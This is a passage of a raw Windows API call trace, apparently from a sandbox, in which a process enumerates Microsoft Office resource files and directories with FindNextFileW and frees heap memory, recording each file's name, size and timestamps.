ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x155, dwReserved0=0x0, dwReserved1=0x0, cFileName="TAB_OFF.GIF", cAlternateFileName="")) returned 1 [0077.943] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd1230100, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0xfd5747b0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xd1230100, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xde, dwReserved0=0x0, dwReserved1=0x0, cFileName="TAB_ON.GIF", cAlternateFileName="")) returned 1 [0077.943] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd1230100, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0xfd5747b0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xd1230100, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xde, dwReserved0=0x0, dwReserved1=0x0, cFileName="TAB_ON.GIF", cAlternateFileName="")) returned 0 [0077.943] GetLastError () returned 0x12 [0077.943] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11a2058) returned 1 [0077.943] FindClose (in: hFindFile=0x2e90c0 | out: hFindFile=0x2e90c0) returned 1 [0077.944] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11a2160) returned 1 [0077.944] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11a1f50) returned 1 [0077.944] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd1230100, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0xfd6a52b0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xd1230100, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xd04, dwReserved0=0x0, dwReserved1=0x0, cFileName="Swirl.css", cAlternateFileName="")) returned 1 [0077.944] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd1230100, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0xfd6cb410, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xd1230100, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x73c, dwReserved0=0x0, dwReserved1=0x0, cFileName="Teal.css", cAlternateFileName="")) returned 1 [0077.944] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd1230100, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0xfd6cb410, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xd1230100, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x727, dwReserved0=0x0, dwReserved1=0x0, cFileName="TexturedBlue.css", cAlternateFileName="")) returned 1 [0077.944] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd1230100, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0xfd6cb410, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xd1230100, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x732, dwReserved0=0x0, dwReserved1=0x0, cFileName="VelvetRose.css", cAlternateFileName="")) returned 1 [0077.944] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd1230100, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0xfd6cb410, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xd1230100, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x732, dwReserved0=0x0, dwReserved1=0x0, cFileName="VelvetRose.css", cAlternateFileName="")) returned 0 [0077.944] GetLastError () returned 0x12 [0077.944] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa9c0f0) returned 1 [0077.944] FindClose (in: hFindFile=0x2e8f80 | out: hFindFile=0x2e8f80) returned 1 [0077.944] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa9c1f8) returned 1 [0077.944] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa9bfe8) returned 1 [0077.944] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd3f79f0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfd6cb410, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfd6cb410, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="FormsStyles", cAlternateFileName="")) returned 0 [0077.944] GetLastError () returned 0x12 [0077.944] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab7ac8) returned 1 [0077.944] FindClose (in: hFindFile=0x2e9080 | out: hFindFile=0x2e9080) returned 1 [0077.944] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa9ad58) returned 1 [0077.945] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xaa92c0) returned 1 [0077.945] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8c91e000, ftCreationTime.dwHighDateTime=0x1cacb46, ftLastAccessTime.dwLowDateTime=0xfd5e6bd0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x8c91e000, ftLastWriteTime.dwHighDateTime=0x1cacb46, nFileSizeHigh=0x0, nFileSizeLow=0x863360, dwReserved0=0x0, dwReserved1=0x0, cFileName="GrooveIntlResource.dll", cAlternateFileName="")) returned 1 [0077.945] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf2472900, ftCreationTime.dwHighDateTime=0x1c9ff31, ftLastAccessTime.dwLowDateTime=0xfd59a910, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xf2472900, ftLastWriteTime.dwHighDateTime=0x1c9ff31, nFileSizeHigh=0x0, nFileSizeLow=0x272, dwReserved0=0x0, dwReserved1=0x0, cFileName="GROOVE_COL.HXC", cAlternateFileName="")) returned 1 [0077.945] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd5e7b500, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0xfd59a910, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xd5e7b500, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xda, dwReserved0=0x0, dwReserved1=0x0, cFileName="GROOVE_COL.HXT", cAlternateFileName="")) returned 1 [0077.945] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd5e7b500, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0xfd59a910, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xd5e7b500, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x6f, dwReserved0=0x0, dwReserved1=0x0, cFileName="GROOVE_F_COL.HXK", cAlternateFileName="")) returned 1 [0077.945] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd5e7b500, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0xfd59a910, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xd5e7b500, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x6e, dwReserved0=0x0, dwReserved1=0x0, cFileName="GROOVE_K_COL.HXK", cAlternateFileName="")) returned 1 [0077.945] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa0675200, ftCreationTime.dwHighDateTime=0x1cab7e5, ftLastAccessTime.dwLowDateTime=0x50977140, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xa0675200, ftLastWriteTime.dwHighDateTime=0x1cab7e5, nFileSizeHigh=0x0, nFileSizeLow=0x8d68, dwReserved0=0x0, dwReserved1=0x0, cFileName="HVAC.VSL", cAlternateFileName="")) returned 1 [0077.945] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7ede00, ftCreationTime.dwHighDateTime=0x1c55531, ftLastAccessTime.dwLowDateTime=0x5099d2a0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x7ede00, ftLastWriteTime.dwHighDateTime=0x1c55531, nFileSizeHigh=0x0, nFileSizeLow=0x77f, dwReserved0=0x0, dwReserved1=0x0, cFileName="HVACDIFF.VRD", cAlternateFileName="")) returned 1 [0077.945] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7ede00, ftCreationTime.dwHighDateTime=0x1c55531, ftLastAccessTime.dwLowDateTime=0x5099d2a0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x7ede00, ftLastWriteTime.dwHighDateTime=0x1c55531, nFileSizeHigh=0x0, nFileSizeLow=0x51d, dwReserved0=0x0, dwReserved1=0x0, cFileName="HVACDUCT.VRD", cAlternateFileName="")) returned 1 [0077.945] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe1f53500, ftCreationTime.dwHighDateTime=0x1cacf2a, ftLastAccessTime.dwLowDateTime=0x11231710, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe1f53500, ftLastWriteTime.dwHighDateTime=0x1cacf2a, nFileSizeHigh=0x0, nFileSizeLow=0x75790, dwReserved0=0x0, dwReserved1=0x0, cFileName="INFINTL.DLL", cAlternateFileName="")) returned 1 [0077.945] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98679500, ftCreationTime.dwHighDateTime=0x1ca8073, ftLastAccessTime.dwLowDateTime=0x11257870, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x98679500, ftLastWriteTime.dwHighDateTime=0x1ca8073, nFileSizeHigh=0x0, nFileSizeLow=0x174d06, dwReserved0=0x0, dwReserved1=0x0, cFileName="INFOPATH.HXS", cAlternateFileName="")) returned 1 [0077.945] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98679500, ftCreationTime.dwHighDateTime=0x1ca8073, ftLastAccessTime.dwLowDateTime=0x11257870, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x98679500, ftLastWriteTime.dwHighDateTime=0x1ca8073, nFileSizeHigh=0x0, nFileSizeLow=0x697e2, dwReserved0=0x0, dwReserved1=0x0, cFileName="INFOPATHEDITOR.HXS", cAlternateFileName="")) returned 1 [0077.945] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1c67200, ftCreationTime.dwHighDateTime=0x1c9ff32, ftLastAccessTime.dwLowDateTime=0x1127d9d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1c67200, ftLastWriteTime.dwHighDateTime=0x1c9ff32, nFileSizeHigh=0x0, nFileSizeLow=0x29a, dwReserved0=0x0, dwReserved1=0x0, cFileName="INFOPATHEDITOR_COL.HXC", cAlternateFileName="")) returned 1 [0077.945] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbcc29600, ftCreationTime.dwHighDateTime=0x1c59321, ftLastAccessTime.dwLowDateTime=0x1127d9d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbcc29600, ftLastWriteTime.dwHighDateTime=0x1c59321, nFileSizeHigh=0x0, nFileSizeLow=0xd6, dwReserved0=0x0, dwReserved1=0x0, cFileName="INFOPATHEDITOR_COL.HXT", cAlternateFileName="")) returned 1 [0077.945] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbcc29600, ftCreationTime.dwHighDateTime=0x1c59321, ftLastAccessTime.dwLowDateTime=0x1127d9d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbcc29600, ftLastWriteTime.dwHighDateTime=0x1c59321, nFileSizeHigh=0x0, nFileSizeLow=0x72, dwReserved0=0x0, dwReserved1=0x0, cFileName="INFOPATHEDITOR_F_COL.HXK", cAlternateFileName="")) returned 1 [0077.945] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbcc29600, ftCreationTime.dwHighDateTime=0x1c59321, ftLastAccessTime.dwLowDateTime=0x1127d9d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbcc29600, ftLastWriteTime.dwHighDateTime=0x1c59321, nFileSizeHigh=0x0, nFileSizeLow=0x71, dwReserved0=0x0, dwReserved1=0x0, cFileName="INFOPATHEDITOR_K_COL.HXK", cAlternateFileName="")) returned 1 [0077.945] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1c67200, ftCreationTime.dwHighDateTime=0x1c9ff32, ftLastAccessTime.dwLowDateTime=0x11257870, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1c67200, ftLastWriteTime.dwHighDateTime=0x1c9ff32, nFileSizeHigh=0x0, nFileSizeLow=0x27c, dwReserved0=0x0, dwReserved1=0x0, cFileName="INFOPATH_COL.HXC", cAlternateFileName="")) returned 1 [0077.945] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2f8c8500, ftCreationTime.dwHighDateTime=0x1c561aa, ftLastAccessTime.dwLowDateTime=0x11257870, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x2f8c8500, ftLastWriteTime.dwHighDateTime=0x1c561aa, nFileSizeHigh=0x0, nFileSizeLow=0xd0, dwReserved0=0x0, dwReserved1=0x0, cFileName="INFOPATH_COL.HXT", cAlternateFileName="")) returned 1 [0077.945] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2f8c8500, ftCreationTime.dwHighDateTime=0x1c561aa, ftLastAccessTime.dwLowDateTime=0x11257870, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x2f8c8500, ftLastWriteTime.dwHighDateTime=0x1c561aa, nFileSizeHigh=0x0, nFileSizeLow=0x72, dwReserved0=0x0, dwReserved1=0x0, cFileName="INFOPATH_F_COL.HXK", cAlternateFileName="")) returned 1 [0077.945] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2f8c8500, ftCreationTime.dwHighDateTime=0x1c561aa, ftLastAccessTime.dwLowDateTime=0x11257870, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x2f8c8500, ftLastWriteTime.dwHighDateTime=0x1c561aa, nFileSizeHigh=0x0, nFileSizeLow=0x71, dwReserved0=0x0, dwReserved1=0x0, cFileName="INFOPATH_K_COL.HXK", cAlternateFileName="")) returned 1 [0077.945] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x108a400, ftCreationTime.dwHighDateTime=0x1c56bc5, ftLastAccessTime.dwLowDateTime=0x509c3400, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x108a400, ftLastWriteTime.dwHighDateTime=0x1c56bc5, nFileSizeHigh=0x0, nFileSizeLow=0x76b, dwReserved0=0x0, dwReserved1=0x0, cFileName="INSTLIST.VRD", cAlternateFileName="")) returned 1 [0077.945] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x37deba00, ftCreationTime.dwHighDateTime=0x1c56bc5, ftLastAccessTime.dwLowDateTime=0x509c3400, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x37deba00, ftLastWriteTime.dwHighDateTime=0x1c56bc5, nFileSizeHigh=0x0, nFileSizeLow=0x332, dwReserved0=0x0, dwReserved1=0x0, cFileName="INVENTRY.VRD", cAlternateFileName="")) returned 1 [0077.945] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd3491f00, ftCreationTime.dwHighDateTime=0x1ca0f52, ftLastAccessTime.dwLowDateTime=0xc7a8630, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xd3491f00, ftLastWriteTime.dwHighDateTime=0x1ca0f52, nFileSizeHigh=0x0, nFileSizeLow=0x2bc8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Invite or Link.one", cAlternateFileName="")) returned 1 [0077.945] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe1f53500, ftCreationTime.dwHighDateTime=0x1cacf2a, ftLastAccessTime.dwLowDateTime=0x1127d9d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe1f53500, ftLastWriteTime.dwHighDateTime=0x1cacf2a, nFileSizeHigh=0x0, nFileSizeLow=0x22a590, dwReserved0=0x0, dwReserved1=0x0, cFileName="IPDSINTL.DLL", cAlternateFileName="")) returned 1 [0077.945] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe1f53500, ftCreationTime.dwHighDateTime=0x1cacf2a, ftLastAccessTime.dwLowDateTime=0xeee1cd90, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xe1f53500, ftLastWriteTime.dwHighDateTime=0x1cacf2a, nFileSizeHigh=0x0, nFileSizeLow=0xd7b90, dwReserved0=0x0, dwReserved1=0x0, cFileName="IPEDINTL.DLL", cAlternateFileName="")) returned 1 [0077.945] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe1f53500, ftCreationTime.dwHighDateTime=0x1cacf2a, ftLastAccessTime.dwLowDateTime=0x112a3b30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe1f53500, ftLastWriteTime.dwHighDateTime=0x1cacf2a, nFileSizeHigh=0x0, nFileSizeLow=0x3e7b0, dwReserved0=0x0, dwReserved1=0x0, cFileName="IPOLKINTL.DLL", cAlternateFileName="")) returned 1 [0077.945] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x66f81800, ftCreationTime.dwHighDateTime=0x1c913a0, ftLastAccessTime.dwLowDateTime=0xfd5e6bd0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x66f81800, ftLastWriteTime.dwHighDateTime=0x1c913a0, nFileSizeHigh=0x0, nFileSizeLow=0x3cebf, dwReserved0=0x0, dwReserved1=0x0, cFileName="Issue Tracking.gta", cAlternateFileName="")) returned 1 [0077.945] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe3a6b500, ftCreationTime.dwHighDateTime=0x1c9c49e, ftLastAccessTime.dwLowDateTime=0x509e9560, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xe3a6b500, ftLastWriteTime.dwHighDateTime=0x1c9c49e, nFileSizeHigh=0x0, nFileSizeLow=0xd7a, dwReserved0=0x0, dwReserved1=0x0, cFileName="JADE.CSS", cAlternateFileName="")) returned 1 [0077.945] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xafe69b00, ftCreationTime.dwHighDateTime=0x1cab7e5, ftLastAccessTime.dwLowDateTime=0x50a35820, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xafe69b00, ftLastWriteTime.dwHighDateTime=0x1cab7e5, nFileSizeHigh=0x0, nFileSizeLow=0x9980, dwReserved0=0x0, dwReserved1=0x0, cFileName="LGND.VSL", cAlternateFileName="")) returned 1 [0077.945] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe1e9b800, ftCreationTime.dwHighDateTime=0x1cac9b3, ftLastAccessTime.dwLowDateTime=0xf2dd30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe1e9b800, ftLastWriteTime.dwHighDateTime=0x1cac9b3, nFileSizeHigh=0x0, nFileSizeLow=0x112970, dwReserved0=0x0, dwReserved1=0x0, cFileName="MAPIR.DLL", cAlternateFileName="")) returned 1 [0077.945] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2411fa00, ftCreationTime.dwHighDateTime=0x1cac9b2, ftLastAccessTime.dwLowDateTime=0xf07bd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x2411fa00, ftLastWriteTime.dwHighDateTime=0x1cac9b2, nFileSizeHigh=0x0, nFileSizeLow=0x1a780, dwReserved0=0x0, dwReserved1=0x0, cFileName="MAPIR.DLL.IDX_DLL", cAlternateFileName="")) returned 1 [0077.946] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe31ae500, ftCreationTime.dwHighDateTime=0x1cac9b3, ftLastAccessTime.dwLowDateTime=0xf2dd30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe31ae500, ftLastWriteTime.dwHighDateTime=0x1cac9b3, nFileSizeHigh=0x0, nFileSizeLow=0x907d8, dwReserved0=0x0, dwReserved1=0x0, cFileName="MAPISHELLR.DLL", cAlternateFileName="")) returned 1 [0077.946] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8bf8d00, ftCreationTime.dwHighDateTime=0x1cab7e5, ftLastAccessTime.dwLowDateTime=0x50aa7c40, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xa8bf8d00, ftLastWriteTime.dwHighDateTime=0x1cab7e5, nFileSizeHigh=0x0, nFileSizeLow=0x100fb0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MERES.DLL", cAlternateFileName="")) returned 1 [0077.946] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe105a200, ftCreationTime.dwHighDateTime=0x1cab7ca, ftLastAccessTime.dwLowDateTime=0x1ba28770, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe105a200, ftLastWriteTime.dwHighDateTime=0x1cab7ca, nFileSizeHigh=0x0, nFileSizeLow=0x6cf68, dwReserved0=0x0, dwReserved1=0x0, cFileName="MOR6INT.DLL", cAlternateFileName="")) returned 1 [0077.946] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf7146200, ftCreationTime.dwHighDateTime=0x1cab7cc, ftLastAccessTime.dwLowDateTime=0x1ba28770, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf7146200, ftLastWriteTime.dwHighDateTime=0x1cab7cc, nFileSizeHigh=0x0, nFileSizeLow=0x9b80, dwReserved0=0x0, dwReserved1=0x0, cFileName="MOR6INT.REST.IDX_DLL", cAlternateFileName="")) returned 1 [0077.946] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1b00b00, ftCreationTime.dwHighDateTime=0x1c55531, ftLastAccessTime.dwLowDateTime=0x50aa7c40, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x1b00b00, ftLastWriteTime.dwHighDateTime=0x1c55531, nFileSizeHigh=0x0, nFileSizeLow=0x58c, dwReserved0=0x0, dwReserved1=0x0, cFileName="MOVE.VRD", cAlternateFileName="")) returned 1 [0077.946] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa52c0600, ftCreationTime.dwHighDateTime=0x1cab7e5, ftLastAccessTime.dwLowDateTime=0x50aa7c40, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xa52c0600, ftLastWriteTime.dwHighDateTime=0x1cab7e5, nFileSizeHigh=0x0, nFileSizeLow=0x3178, dwReserved0=0x0, dwReserved1=0x0, cFileName="MPXRES.DLL", cAlternateFileName="")) returned 1 [0077.946] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x88e84c00, ftCreationTime.dwHighDateTime=0x1ca8073, ftLastAccessTime.dwLowDateTime=0x153cd570, ftLastAccessTime.dwHighDateTime=0x1d301bf, 